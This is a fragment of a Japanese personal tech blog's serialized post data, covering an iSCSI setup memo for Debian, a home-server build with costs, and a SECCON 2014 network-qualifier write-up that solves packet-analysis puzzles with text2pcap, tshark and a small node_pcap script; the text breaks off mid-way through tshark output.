glyphicon-music\"></i>](https://itunes.apple.com/jp/album/terror-adhaerens/id575591707?i=575591889&uo=4&at=1l3v4mQ)\n3. Salve, terrae magicae [<i class=\"glyphicon glyphicon-music\"></i>](https://itunes.apple.com/jp/album/salve-terrae-magicae/id575591707?i=575591879&uo=4&at=1l3v4mQ)\n4. ルミナス [<i class=\"glyphicon glyphicon-music\"></i>]()\n5. Postmeridie [<i class=\"glyphicon glyphicon-music\"></i>](https://itunes.apple.com/jp/album/postmeridie/id575591707?i=575591885&uo=4&at=1l3v4mQ)\n6. Puella in somnio [<i class=\"glyphicon glyphicon-music\"></i>](https://itunes.apple.com/jp/album/puella-in-somnio/id575591707?i=575591886&uo=4&at=1l3v4mQ)\n7. Desiderium [<i class=\"glyphicon glyphicon-music\"></i>](https://itunes.apple.com/jp/album/desiderium/id575591707?i=575591883&uo=4&at=1l3v4mQ)\n8. 未来 [<i class=\"glyphicon glyphicon-music\"></i>]()\n9. Credens justitiam [<i class=\"glyphicon glyphicon-music\"></i>](https://itunes.apple.com/jp/album/credens-justitiam/id575591707?i=575591881&uo=4&at=1l3v4mQ)\n10. Venari strigas [<i class=\"glyphicon glyphicon-music\"></i>](https://itunes.apple.com/jp/album/venari-strigas/id575674580?i=575675032&uo=4&at=1l3v4mQ)\n11. Clementia [<i class=\"glyphicon glyphicon-music\"></i>](https://itunes.apple.com/jp/album/clementia/id575591707?i=575591882&uo=4&at=1l3v4mQ)\n12. warning #2 [<i class=\"glyphicon glyphicon-music\"></i>]()\n13. Agmen clientum [<i class=\"glyphicon glyphicon-music\"></i>](https://itunes.apple.com/jp/album/agmen-clientum/id575674580?i=575675031&uo=4&at=1l3v4mQ)\n14. Amicae carae meae [<i class=\"glyphicon glyphicon-music\"></i>](https://itunes.apple.com/jp/album/amicae-carae-meae/id575674580?i=575675035&uo=4&at=1l3v4mQ)\n15. wo ist die Käse? [<i class=\"glyphicon glyphicon-music\"></i>]()\n16. Signum malum [<i class=\"glyphicon glyphicon-music\"></i>](https://itunes.apple.com/jp/album/signum-malum/id575674580?i=575675034&uo=4&at=1l3v4mQ)\n17. Incertus [<i class=\"glyphicon glyphicon-music\"></i>](https://itunes.apple.com/jp/album/incertus/id575674580?i=575675036&uo=4&at=1l3v4mQ)\n18. Serena ira [<i class=\"glyphicon glyphicon-music\"></i>](https://itunes.apple.com/jp/album/serena-ira/id575674580?i=575675038&uo=4&at=1l3v4mQ)\n19. Decretum [<i class=\"glyphicon glyphicon-music\"></i>](https://itunes.apple.com/jp/album/decretum/id575674580?i=575675030&uo=4&at=1l3v4mQ)\n20. Anima mala [<i class=\"glyphicon glyphicon-music\"></i>](https://itunes.apple.com/jp/album/anima-mala/id575674580?i=575675039&uo=4&at=1l3v4mQ)\n21. a human bullet [<i class=\"glyphicon glyphicon-music\"></i>]()\n22. Inevitabilis [<i class=\"glyphicon glyphicon-music\"></i>](https://itunes.apple.com/jp/album/inevitabilis/id575674580?i=575675037&uo=4&at=1l3v4mQ)\n23. fateful #2 [<i class=\"glyphicon glyphicon-music\"></i>]()\n24. Confessio [<i class=\"glyphicon glyphicon-music\"></i>](https://itunes.apple.com/jp/album/confessio/id576314620?i=576314710&uo=4&at=1l3v4mQ)\n25. witch world #2 [<i class=\"glyphicon glyphicon-music\"></i>]()\n26. she is a witch [<i class=\"glyphicon glyphicon-music\"></i>]()\n27. Fateful #4 [<i class=\"glyphicon glyphicon-music\"></i>]()\n28. Symposium magarum [<i class=\"glyphicon glyphicon-music\"></i>](https://itunes.apple.com/jp/album/symposium-magarum/id576314620?i=576314712&uo=4&at=1l3v4mQ)\n29. I miss you [<i class=\"glyphicon glyphicon-music\"></i>]()\n30. Numquam vincar [<i class=\"glyphicon glyphicon-music\"></i>]()\n31. magia [quattro] [<i class=\"glyphicon glyphicon-music\"></i>](https://itunes.apple.com/jp/album/magia-quattro/id573784184?i=573784188&uo=4&at=1l3v4mQ)\n32. コネクト [<i class=\"glyphicon glyphicon-music\"></i>](https://itunes.apple.com/jp/album/konekuto/id570085121?i=570085122&uo=4&at=1l3v4mQ)\n33. mother and daughter [<i class=\"glyphicon glyphicon-music\"></i>]()\n34. Surgam identidem [<i class=\"glyphicon glyphicon-music\"></i>](https://itunes.apple.com/jp/album/surgam-identidem/id576314620?i=576314709&uo=4&at=1l3v4mQ)\n35. Sagitta luminis [<i class=\"glyphicon glyphicon-music\"></i>]()\n36. her wings [<i class=\"glyphicon glyphicon-music\"></i>]()\n37. rebirth [<i class=\"glyphicon glyphicon-music\"></i>]()\n38. Taenia memoriae [<i class=\"glyphicon glyphicon-music\"></i>]()\n39. Pergo pugnare [<i class=\"glyphicon glyphicon-music\"></i>]()\n40. ひかりふる [<i class=\"glyphicon glyphicon-music\"></i>](https://itunes.apple.com/jp/album/hikarifuru/id573784184?i=573784186&uo=4&at=1l3v4mQ)\n"]}],[0,{"slug":[0,"2014/01/09/iscsi-debian/"],"data":[0,{"title":[0,"debianでiscsi target/initiator動作させるメモ"],"date":[3,"2014-01-09T04:45:08.000Z"],"author":[0,"mzyy94"],"categories":[1,[[0,"Network"]]],"tags":[1,[[0,"iscsi"],[0,"debian"]]]}],"content":[0,"\nLinux上でのiSCSIパケット収集のためにVirtual Boxで作成した、Debian 7.0.0にiSCSI initiatorとtargetを入れたときのメモを起こしておきます。\n\n\n今回iSCSIパケットの収集をする必要があったので、Linux上で動くように導入しました。\niSCSIの説明はまた今度にするとして、簡単に用語を定義しておくと、\niSCSIターゲット\n- iSCSIサーバー\niSCSIイニシエータ\n- iSCSIクライアント\n\n\n対象とするシステムは以下のとおりです。\n\n Initiator | Target\n:----------:|:------------:\nDebian 7.0.0| Debian 7.0.0\n仮想1コアCPU|仮想1コアCPU\n 512MB RAM | 512MB RAM\n 10GB SSD | 10GB SSD\n\n全く同じシステムで、初期インストール時の設定はminimalです。(gccなどはおろか、sshdも入っていない状態)\n\niSCSIに関するパッケージは以下のとおり。targetはiscsitargetとiscsitarget-dkms、イニシエータはopen-iscsiとなっています。\n\n```\nroot@debian:~# aptitude search iscsi\np iscsitarget - iSCSI Enterprise Target userland tools\np iscsitarget-dkms - iSCSI Enterprise Target kernel module source - dkms version\np libiscsi-bin - iSCSI client shared library - utilities\np libiscsi-dev - iSCSI client shared library\np libiscsi1 - iSCSI client shared library\np open-iscsi - High performance, transport independent iSCSI implementation\n```\n\nまずサーバーとなるターゲットのインストールから。\nrootで`aptitude install iscsitarget iscsitarget-dkms`としてパッケージインストールして下記のとおりに設定し、iSCSIターゲットを有効にします。\n\n ファイルパス | 変更内容\n:--------------:|:----------------------:\n/etc/default/iscsitarget | ISCSITARGET_ENABLE=falseをtrueに\n\nそして、iSCSIとして提供するデバイスを設定します。\nこの設定ファイルは/etc/iet/ietd.confに追記して設定します。\n\niSCSIターゲットの設定書式は設定ファイルにもサンプルがありますが、最小限の記述は以下の様な形式になります。\nここではfileioタイプを用い、単一ファイルをあたかもSCSIデバイスとして利用する方法を取ります。\n\n```\nTarget iqn.yyyy-mm.&lt;reversed domain name&gt;[:identifier]\n Lun 0 Path=&lt;image file path&gt;,Type=fileio,ScsiId=&lt;id&gt;,ScsiSN=&lt;sn&gt;\n```\n\n各所で紹介されている記事にはScsiIDやScsiSNを指定していないものもありましたが、open-iscsi 2.0.873@Debian 7.0.0ではSCSIデバイスとして認識されないのでちゃんとつけておきましょう(これがわからず1時間くらい考えこんでた)。\n\nPathで指定するファイルは`dd if=/dev/zero of=/disk.img bs=1 count=0 seek=10G`などで適当につくってしまいましょう。\n今回はこのように設定しました。\n\n```\nTarget iqn.2014-01.localhost:fileio.test\n Lun 0 Path=/root/disk.img,Type=fileio,ScsiId=test,ScsiSN=test\n```\n\nここまででターゲットの設定は終わりなので、サービスを再起動します。\n\n```\nroot@debian:~# service iscsitarget restart\nRemoving iSCSI enterprise target devices: :.\nStarting iSCSI enterprise target service:.\n.\n```\n\nエラーに関しては多くは出力されないので、`dmesg | tail`で確認するなりした方がいいと思います。\n正常に動作しているかどうかは`neststat -a | grep iscsi`や`lsof -i:3260`で状態をみて判断します。\n\n繋げてみないことには動作確認は取れませんので、クライアントとしてのopen-iscsiをインストールします。\n`aptitude install open-iscsi`として、iscsiイニシエータを導入します。\n\n最低限の動作には設定は必要ないのでこのままコマンドを入力して接続していきます。\n`dpkg -L open-iscsi`すると、いくつかiscsiで始まるコマンドがインストールされていますが、すべてを統合的に実行できるiscsiadmを利用します。\n\niscsiadmに関して詳しいことはmanを見るとして、今回繋げるためには以下のようにして簡単ログインしてしまいましょう。\n\n```\nroot@debian:~# iscsiadm -m discovery -t sendtargets -p 127.0.0.1 -l\n```\n\nオプションに関して詳しいことはmanをみてもらうとして、今回使ったオプションは次のような意味を持っています。\n\nOption | Sense\n-------|-------\n-m | モード指定\ndiscovery|iSCSIターゲット探索\n-t |タイプ指定\nsendtargets|準iSCSIプロトコルを用いているターゲット探索\n-p|ネットワークポータル指定\n 127.0.0.1|指定ネットワークアドレス\n-l|ログイン\n\nこれで接続し、ちゃんとSCSIデバイスとして認識できていればdmesgに以下のように出ます。\n\n```\n[ 6484.501041] scsi3 : iSCSI Initiator over TCP/IP\n[ 6484.764505] scsi 3:0:0:0: Direct-Access IET VIRTUAL-DISK 0 PQ: 0 ANSI: 4\n[ 6484.765289] sd 3:0:0:0: [sdb] 2097152 512-byte logical blocks: (1.07 GB/1.00 GiB)\n[ 6484.765325] sd 3:0:0:0: [sdb] Write Protect is off\n[ 6484.765328] sd 3:0:0:0: [sdb] Mode Sense: 77 00 00 08\n[ 6484.765389] sd 3:0:0:0: [sdb] Write cache: disabled, read cache: enabled, doesn't support DPO or FUA\n[ 6484.766030] sdb: unknown partition table\n[ 6484.766303] sd 3:0:0:0: [sdb] Attached SCSI disk\n[ 6484.766417] sd 3:0:0:0: Attached scsi generic sg2 type 0\n```\n\nこんなかんじの出力があれば、大体検討はつくと思いますが、/dev/sdbにiSCSIターゲットがSCSIデバイスとして認識されています。\nこのブロックデバイスをパーティショニングし、フォーマットし、マウントすることで実際にディスクとして利用することが出来ます。\nこんなかんじです。\n\n```\nroot@debian:~# fdisk /dev/sdb\nDevice contains neither a valid DOS partition table, nor Sun, SGI or OSF disklabel\nBuilding a new DOS disklabel with disk identifier 0x86017ce7.\nChanges will remain in memory only, until you decide to write them.\nAfter that, of course, the previous content won't be recoverable.\n\nWarning: invalid flag 0x0000 of partition table 4 will be corrected by w(rite)\n\nCommand (m for help): n\nPartition type:\n p primary (0 primary, 0 extended, 4 free)\n e extended\nSelect (default p):\nUsing default response p\nPartition number (1-4, default 1):\nUsing default value 1\nFirst sector (2048-2097151, default 2048):\nUsing default value 2048\nLast sector, +sectors or +size{K,M,G} (2048-2097151, default 2097151):\nUsing default value 2097151\n\nCommand (m for help): w\nThe partition table has been altered!\n\nCalling ioctl() to re-read partition table.\nSyncing disks.\nroot@debian:~# mkfs -t ext4 /dev/sdb1\nmke2fs 1.42.5 (29-Jul-2012)\nFilesystem label=\nOS type: Linux\nBlock size=4096 (log=2)\nFragment size=4096 (log=2)\nStride=0 blocks, Stripe width=0 blocks\n65536 inodes, 261888 blocks\n13094 blocks (5.00%) reserved for the super user\nFirst data block=0\nMaximum filesystem blocks=268435456\n8 block groups\n32768 blocks per group, 32768 fragments per group\n8192 inodes per group\nSuperblock backups stored on blocks:\n 32768, 98304, 163840, 229376\n \nAllocating group tables: done\nWriting inode tables: done\nCreating journal (4096 blocks): done\nWriting superblocks and filesystem accounting information: done\n \nroot@debian:~# mkdir mount\nroot@debian:~# mount /dev/sdb1 mount/\nroot@debian:~# df -h\nFilesystem Size Used Avail Use% Mounted on\nrootfs 19G 1022M 17G 6% /\nudev 10M 0 10M 0% /dev\ntmpfs 50M 240K 50M 1% /run\n/dev/disk/by-uuid/f5aa3b2c-46ae-4b43-8191-1173de38f1d8 19G 1022M 17G 6% /\ntmpfs 5.0M 0 5.0M 0% /run/lock\ntmpfs 276M 0 276M 0% /run/shm\n/dev/sdb1 1007M 18M 939M 2% /root/mount\n```\n\n\nあとはマウントしたディレクトリに対して好き放題アクセスしたら、切り離しておきます。\n\n```\nroot@debian:~# iscsiadm -m session -u\n```\n\nオプションは、\n\nOption | Sense\n-------|-------\n-m | モード指定\nsession|現在はられているセッションを指定\n-u|ログアウト\n\n以上がまっさらな状態からiSCSIイニシエータ/ターゲットを導入して繋げるまで、です。\nこれらをインストールして動作するまでにしたログに関してはgistにあげてありますので、より詳しく見たい方などよければご参照ください。\n\n[https://gist.github.com/mzyy94/8329470](https://gist.github.com/mzyy94/8329470)\n"]}],[0,{"slug":[0,"2014/04/06/new-server/"],"data":[0,{"title":[0,"自宅サーバーを増やした"],"date":[3,"2014-04-06T14:10:36.000Z"],"image":[0,"/assets/images/2014/4/6/DSC08148.JPG"],"author":[0,"mzyy94"],"categories":[1,[[0,"NAS"]]],"tags":[1,[[0,"xeon"],[0,"server"]]]}],"content":[0,"\n増税前のPCパーツ買いだめイベントに便乗して、3月中に自宅サーバーを増設しました。\nどんな構成で組み立てたのかの紹介になります。\n\n## 目次\n\n\nサーバー増設にあたって、次に挙げる構成目標を先に決めていました。\n\n- 4コア以上、かつ8スレッド以上\n- 16GB以上のDRAM\n- 速い記憶装置\n- 8万円以下\n\nあまり欲がありませんが、だいたいこれを満たせるようにと組みました。\n\nSandyBridge世代のCPUを載せた、自宅サーバーっぽいものは前からありました。\n構成は、以下の表の通りです。\n\nパーツ|種類\n---|---\nCPU|Intel Core i5\nDRAM| DDR3-1333 8GB (4GB x 2)\nHDD| WD2TB\nMB|ECS H67I\n\nどこがサーバーじゃいと思うかもしれませんが、そう思うのもあたりまえ、元デスクトップマシンの構成のままなのです。\n大概のことはこなせていたので、新しく組む必要はなかったといわれればその通りなのですが、気軽に仮想マシンをたてて、実験して、つぶして、のような遊びをするには非力であったため、最新のパーツで新たに組むことにしました。\n\n## パーツ選定\n\n### CPU\n\n「サーバー向けならXeonっしょ。」と各所で言われているので、Xeonにしました。\n用途としては、CIサーバーが主で、適当な仮想マシンインスタンスを作っては遊び、追加していくという将来を見据えて、[Intel Xeon E3-1245 v3](http://ark.intel.com/ja/products/75462/Intel-Xeon-Processor-E3-1245-v3-8M-Cache-3_40-GHz)にしました。\n\nプロセッサー|Intel Xeon E3-1245 v3\n------------|---------------------\n動作周波数|3.4 GHz\nTB時周波数|3.8 GHz\nキャッシュ|8 MB\n最大 TDP|84 W\n\n動作周波数3.4GHzあれば10個ほど仮想マシン立ち上げても大丈夫でしょう。\n\n### MB\n\n自宅に転がっているPCケースがどれもMini-ITX向けのものなので、Mini-ITXにします。Xeon対応を謳っているマザーボードは少なく、Mini-ITXに限定してしまうと片手で数えきれるほどしか候補がありません。\nサーバー向けチップセットを載せたASUSの[P9D-I](http://www.asus.com/Commercial_Servers_Workstations/P9DI/)が購入時時点のXeon向けMini-ITXマザーボードとしては最上位であるものの、予算オーバーしてしまうので、今回は見送りました。\n残る選択肢はGIGABYTEかASRockのほぼ二択となり、両者の違いはeSATAの有無やGbEの数などで、仮想マシンをいくつもたてることを考えると、二つGbEがあるほうが好ましいということで、GIGABYTEの[GA-Z87N-WIFI](http://www.gigabyte.jp/products/product-page.aspx?pid=4600)を購入しました。\n\n### DRAM\n\nXeon向けチップセットを載せたマザーボードを選んでいれば、ECC付きのメモリで長期運用時の信頼性を高めることができるのですが、上記の通り、Z87チップセットを載せたマザーボードを選択したため、特にECCに関してはこだわる必要がありません。\nZ87チップセットはDDR3-1333/1600対応のため、たくさんの仮想マシンを支えられるよう、DDR3-1600のもので、16GB(8GB x 2枚)のものを探しました。\n相性問題などは特に気にせず、財布と相談しながら予算に合うものを選んだ結果、Kingstonの[KHX16C10B1K2/16X](http://www.amazon.co.jp/gp/product/B008KRZYH4/ref=as_li_ss_tl?ie=UTF8&camp=247&creative=7399&creativeASIN=B008KRZYH4&linkCode=as2&tag=mzyy-22)の価格が暴落していたのですぐさま購入しました。\n\n### Storage\nなんでもよかったです。とにかく速いものであれば。\nこれも、お財布と相談しながらということで、適当に探してSanDiskの[SanDisk SSD UltraPlus 128GB](http://www.amazon.co.jp/gp/product/B00BWR2QZC/ref=as_li_ss_tl?ie=UTF8&camp=247&creative=7399&creativeASIN=B00BWR2QZC&linkCode=as2&tag=mzyy-22)にしました。\n\n### その他パーツ\n増設ということで、旧マシンから流用できるパーツがありません。あまっているパーツは7mm厚120mmファンくらいで、必要なものがいくつもありました。\n\nCPUはバルクで購入したのでファンがついておらず、CPUファンを購入する必要がありました。ケースの高さ制限より、これもまた選択肢が少なく、某所のレビューでよく冷えるとあったので、Scytheの[KOZUTI](http://www.amazon.co.jp/gp/product/B004W5KS0G/ref=as_li_ss_tl?ie=UTF8&camp=247&creative=7399&creativeASIN=B004W5KS0G&linkCode=as2&tag=mzyy-22)にしました。\n\nCPUファンとの熱伝導のためのグリスは、ファン付属のものでもよかったのですが、どうしても別で買いたかったのでAINEXの[シルバーグリス](http://www.amazon.co.jp/gp/product/B000BLBHTQ/ref=as_li_ss_tl?ie=UTF8&camp=247&creative=7399&creativeASIN=B000BLBHTQ&linkCode=as2&tag=mzyy-22)を購入しました。よく冷えそうなので。\n\nあとは、2.5インチSSDを3.5インチに変える、[センチュリー 裸族のインナー](http://www.amazon.co.jp/gp/product/B0088QXTK6/ref=as_li_ss_tl?ie=UTF8&camp=247&creative=7399&creativeASIN=B0088QXTK6&linkCode=as2&tag=mzyy-22)や、ケースの狂った配線とつなぐための[アイネックス ピン配列交換ケーブル](http://www.amazon.co.jp/gp/product/B000FHQACA/ref=as_li_ss_tl?ie=UTF8&camp=247&creative=7399&creativeASIN=B000FHQACA&linkCode=as2&tag=mzyy-22)や[アイネックス コネクタ簡単脱着ケーブル](http://www.amazon.co.jp/gp/product/B000Y1YUKG/ref=as_li_ss_tl?ie=UTF8&camp=247&creative=7399&creativeASIN=B000Y1YUKG&linkCode=as2&tag=mzyy-22)を購入しました。\n\n## 組み立て\n### ケースの整備\n\n普通のPCケースならば、パーツをケースに組み込むだけですが、自宅に転がっているというケースがくせ者で、数年前のAcer Aspire H340のものなのです。\nこのケース、Mini-ITXサイズのマザーボードが組み込まれていたので、一見どのマザーボードでも使えるかと思ったら大間違い。フロントパネルのボタンは効かないわSATAは認識しないわで問題ばかり。このケースを市販されているMini-ITXマザーボードで活用しようと思う方はたくさん居るようで、ウェブに情報はたくさんあります。\n今回は、[http://z.apps.atjp.jp/memo/h340.html](http://z.apps.atjp.jp/memo/h340.html)を参考にさせていただき、ケースを利用できる状態にしました。\n\n### パーツ組み込み\n\n\n\nやっと普通のPCケースとして使える状態になったので、組み込みます。\nここからの手順は、ご存知の方多いと思いますので割愛します。\n\n\n### 設置\n\n\nちゃんとケースに組み込んで所定の位置に設置しました。\nほかのサーバーとおなじ見た目なのでわかりづらいですが、右上のが今回新設したサーバーとなります。\nそれらに関してはおいおい紹介していきますのでしばしおまちを。\n\n## 費用\n気になるサーバー構築費用です(すべて税込み)。\n\nパーツ|購入価格(円)\n-------|------:\nCPU |26800\nMB | 8800\nDRAM |11151\nSSD | 9790\nFan | 2880\nGrease | 1140\nMounter| 891\nCable | 827\n\n計62,279円で、このサーバーを構築できました。目標としていた8万円を大きく下回り、金銭的にストレージ増設の余地があります。\nこのサーバーを生かして、今後いろいろと実験していくような記事を書く予定ですので、こう御期待。\n"]}],[0,{"slug":[0,"2014/09/03/seccon2014-yokohama-2nd-day/"],"data":[0,{"title":[0,"SECCON 2014 横浜大会NW予選 Write-up"],"date":[3,"2014-09-03T05:40:47.000Z"],"image":[0,"/assets/images/2014/9/3/KEN.JPG"],"author":[0,"mzyy94"],"categories":[1,[[0,"CTF"]]],"tags":[1,[[0,"seccon"],[0,"seccon2014"]]]}],"content":[0,"SECCON 2014 横浜大会に参加してきました。\nNW,BIN,WEBと3部門の予選がありましたが、ネットワーク大好き♡なのでNWにチャレンジしました。\n\nネットワーク部門は10問ある問題を解いて答えを紙に書いて提出して採点された点数によって順位付けされ、成績優秀者10人が予選突破という選抜形式で行われました。\n\nCTFにおけるネットワーク問題は年々減少傾向にある上、難易度を上げることが難しいとのことなので、今回は少し特殊なファイル形式で出題されていました。\n例えば以下が問題1の出題ファイルです。\n\n Find the Key!\n\n 0000 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00 ........ ......E.\n 0010 00 34 f3 ed 00 00 40 01 88 d9 7f 00 00 01 7f 00 .4....@. ........\n 0020 00 01 08 00 bd c8 18 18 00 00 5a 6d 78 68 5a 33 ........ ..ZmxhZ3\n 0030 74 7a 5a 57 4e 6a 62 32 35 7a 5a 57 4e 6a 62 32 tzZWNjb2 5zZWNjb2\n 0040 35 39\n\nそう、いいままでのpcapファイルでの出題ではなくテキストファイルでの出題となっていたのです。\n\nこのままでは今まで愛用してきたWiresharkおよび、tsharkでの解析ができません。\nバイナリエディタにコピペして目grepしてもいいですが、ここはpcapファイルに変換してしまいましょう。\n\n世の中には便利なソフトウェアが沢山あります。こんなときにもOSSが活躍します。\nテキストファイルをpcapファイルに変換するソフトウェア、その名も`text2pcap`です。\nこれ、Wiresharkに付属してるんです。\n\n使い方は簡単、例えば問題1の出題ファイルでは、1行目の問題文を削除してHEX部分だけにしたファイル、question-01.txtを作成し、\n`text2pcap question-01.txt q01.pcap`などとすれば、Wiresharkで解析できるpcapファイルが作成されます。\n\nさて、このようにしてさくさくと解けるファイルが作成できればあとは画面を凝視するのみ、順々に解いていきます。\n## 目次\n\n\n## 問題1\n\n Find the Key!\n\n 0000 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00 ........ ......E.\n 0010 00 34 f3 ed 00 00 40 01 88 d9 7f 00 00 01 7f 00 .4....@. ........\n 0020 00 01 08 00 bd c8 18 18 00 00 5a 6d 78 68 5a 33 ........ ..ZmxhZ3\n 0030 74 7a 5a 57 4e 6a 62 32 35 7a 5a 57 4e 6a 62 32 tzZWNjb2 5zZWNjb2\n 0040 35 39\n\n\n簡単ですね。\ntsharkでパケットをチェックしてみると、\n\n 1 0.000000 127.0.0.1 -> 127.0.0.1 ICMP 66 Echo (ping) request id=0x1818, seq=0/0, ttl=64\n\nと出力されるので、ICMPメッセージにフラッグが隠されてるんだろうなーっと想像つきます。\n上記のファイルを見ると、目nkfで簡単に答えが出てきます。\n目nkf力が無い人は、`echo ZmxhZ3tzZWNjb25zZWNjb259|nkf -mB`とでもやるとよいでしょう。\n\nということでフラッグは`secconseccon`でした。\n\n## 問題2\n\n 開いてるTCPポートを列挙せよ\n\n\n[nmaped.pcap](https://gist.github.com/mzyy94/ae0144ba055b505a17ff58b18c4e921c)\n\n\nこれはpcapファイルが添付されていました。\nnmapでポートスキャンをしたときのログが残っているようです。\nポートが空いているということは、TCP FlagのSYNとACKが帰ってくるはずなので、SYN/ACKを返しているポートを列挙する適当なスクリプトを書きました。\nnode.js + node_pcapです。\n\n```js\nvar filter = \"tcp\";\n\nvar pcap = require('pcap'),\n\tpcap_session = pcap.createOfflineSession(\"./nmaped.pcap\", filter);\n\npcap_session.on('packet', function (raw_packet) {\n\tvar packet = pcap.decode.packet(raw_packet);\n\tif (packet.link.ip.tcp.flags.syn == 1 &&\n\t\tpacket.link.ip.tcp.flags.ack == 1) {\n\t\tconsole.log(packet.link.ip.tcp.sport);\n\t}\n});\n```\n\nこれを02-solver.jsとして保存し、`npm install pcap && node 02-solver.js | sort -n | uniq`としてあげれば答えのポートが出てきます。\n\n## 問題3\n このパケットデータのアプリケーションプロトコルは何でしょう?\n 英字でお答えください。\n\n 0000 00 1a a0 89 a3 7f 44 94 fc 7e 1a ba 08 00 45 00 ......D..~....E.\n 0010 00 4c 00 00 40 00 36 11 11 2c d2 ad a0 1b c0 a8 .L..@.6..,......\n 0020 00 04 00 7b 00 7b 00 38 6d 96 1c 02 11 e8 00 00 ...{.{.8m.......\n 0030 06 8b 00 00 02 9e ac 1d 02 32 d7 ad 09 99 d8 db .........2......\n 0040 8b 49 d7 ad 0a 44 7a a8 0f 7e d7 ad 0a 46 42 28 .I...Dz..~...FB(\n 0050 23 a6 d7 ad 0a 46 42 2b 5a b3 #....FB+Z.\n\n目grepで答えはすぐにわかるんですが、確認のためにtext2pcapを用いてpcapファイルにしてtsharkに食わせてみると、以下のように出力されます。\n\n $ tshark -r q03.pcap\n 1 0.000000 210.173.160.27 -> 192.168.0.4 NTP 90 NTP Version 3, server\n\nNTPですね。\n\n## 問題4\n\n サーバの名前は何?\n FQDNでお答えください。\n\n 0000 00 1a a0 89 a3 7f 44 94 fc 7e 1a ba 08 00 45 00 ......D..~....E.\n 0010 00 4c 00 00 40 00 36 11 11 2c d2 ad a0 1b c0 a8 .L..@.6..,......\n 0020 00 04 00 7b 00 7b 00 38 6d 96 1c 02 11 e8 00 00 ...{.{.8m.......\n 0030 06 8b 00 00 02 9e ac 1d 02 32 d7 ad 09 99 d8 db .........2......\n 0040 8b 49 d7 ad 0a 44 7a a8 0f 7e d7 ad 0a 46 42 28 .I...Dz..~...FB(\n 0050 23 a6 d7 ad 0a 46 42 2b 5a b3 #....FB+Z.\n\n先ほどと同じパケットデータなので、全問でtsharkを動かしたときの出力にあるIPアドレスに向けてnslookupしてあげれば答えがでます。\n\n $ nslookup 210.173.160.27\n Server:\t\t192.168.128.1\n Address:\t192.168.128.1#53\n\n Non-authoritative answer:\n 27.160.173.210.in-addr.arpa\tname = ntp1.jst.mfeed.ad.jp.\n\n Authoritative answers can be found from:\n\n\n答えは、ntp1.jst.mfeed.ad.jp.です。\n\n## 問題5\n\n このパケットによると、日本時間で今何月何日何時何分何秒?\n\n 0000 00 1a a0 89 a3 7f 44 94 fc 7e 1a ba 08 00 45 00 ......D..~....E.\n 0010 00 4c 00 00 40 00 36 11 11 2c d2 ad a0 1b c0 a8 .L..@.6..,......\n 0020 00 04 00 7b 00 7b 00 38 6d 96 1c 02 11 e8 00 00 ...{.{.8m.......\n 0030 06 8b 00 00 02 9e ac 1d 02 32 d7 ad 09 99 d8 db .........2......\n 0040 8b 49 d7 ad 0a 44 7a a8 0f 7e d7 ad 0a 46 42 28 .I...Dz..~...FB(\n 0050 23 a6 d7 ad 0a 46 42 2b 5a b3 #....FB+Z.\n\nこれも先ほどと同じパケットです。`tshark -r 03.pcap -V`とすると、Timestampの情報が現れるので時差と到達遅延を計算してあげれば答えが出ます。\n\n## 問題6\n\n 空欄となっている箇所の2バイトの値は?\n\n 00 66 77 88 99 AA 00 11 22 33 44 55 08 00 45 00\n 00 54 03 76 00 00 40 01 F3 DF C0 A8 01 01 C0 A8\n 01 02 08 00 48 FD 3B 04 00 6F 54 01 8D C5 00 0C\n A6 B9 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15\n 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25\n 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35\n 36 37\n\n 00 11 22 33 44 55 00 66 77 88 99 AA 08 00 45 00\n 00 54 1E 0A 00 00 40 01 D9 4B C0 A8 01 02 C0 A8\n 01 01 00 00 -- -- 3B 04 00 6F 54 01 8D C5 00 0C\n A6 B9 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15\n 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25\n 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35\n 36 37\n\n目wiresharkするとわかると思いますが、求めるフラッグはICMPのChecksumです。\n計算してもいいのですが、wireshark/tsharkのチェック機能を使ってさっくりと解いてしまいます。\n`--`の部分に00を埋めてわざと間違っているであるだろうChecksumを入力してpcapファイルを作成し、\ntsharkで詳細情報を見ると、以下のように出力されます。\n\n $ tshark -r q06.pcap -V\n Frame 1: 98 bytes on wire (784 bits), 98 bytes captured (784 bits)\n Encapsulation type: Ethernet (1)\n Arrival Time: Sep 3, 2014 12:48:01.000000000 JST\n [Time shift for this packet: 0.000000000 seconds]\n Epoch Time: 1409716081.000000000 seconds\n [Time delta from previous captured frame: 0.000000000 seconds]\n [Time delta from previous displayed frame: 0.000000000 seconds]\n [Time since reference or first frame: 0.000000000 seconds]\n Frame Number: 1\n Frame Length: 98 bytes (784 bits)\n Capture Length: 98 bytes (784 bits)\n [Frame is marked: False]\n [Frame is ignored: False]\n [Protocols in frame: eth:ethertype:ip:icmp:data]\n Ethernet II, Src: 00:66:77:88:99:aa (00:66:77:88:99:aa), Dst: 00:11:22:33:44:55 (00:11:22:33:44:55)\n Destination: 00:11:22:33:44:55 (00:11:22:33:44:55)\n Address: 00:11:22:33:44:55 (00:11:22:33:44:55)\n .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)\n .... ...0 .... .... .... .... = IG bit: Individual address (unicast)\n Source: 00:66:77:88:99:aa (00:66:77:88:99:aa)\n Address: 00:66:77:88:99:aa (00:66:77:88:99:aa)\n .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)\n .... ...0 .... .... .... .... = IG bit: Individual address (unicast)\n Type: IP (0x0800)\n Internet Protocol Version 4, Src: 192.168.1.2 (192.168.1.2), Dst: 192.168.1.1 (192.168.1.1)\n Version: 4\n Header Length: 20 bytes\n Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00: Not-ECT (Not ECN-Capable Transport))\n 0000 00.. = Differentiated Services Codepoint: Default (0x00)\n .... ..00 = Explicit Congestion Notification: Not-ECT (Not ECN-Capable Transport) (0x00)\n Total Length: 84\n Identification: 0x1e0a (7690)\n Flags: 0x00\n 0... .... = Reserved bit: Not set\n .0.. .... = Don't fragment: Not set\n ..0. .... = More fragments: Not set\n Fragment offset: 0\n Time to live: 64\n Protocol: ICMP (1)\n Header checksum: 0xd94b [validation disabled]\n [Good: False]\n [Bad: False]\n Source: 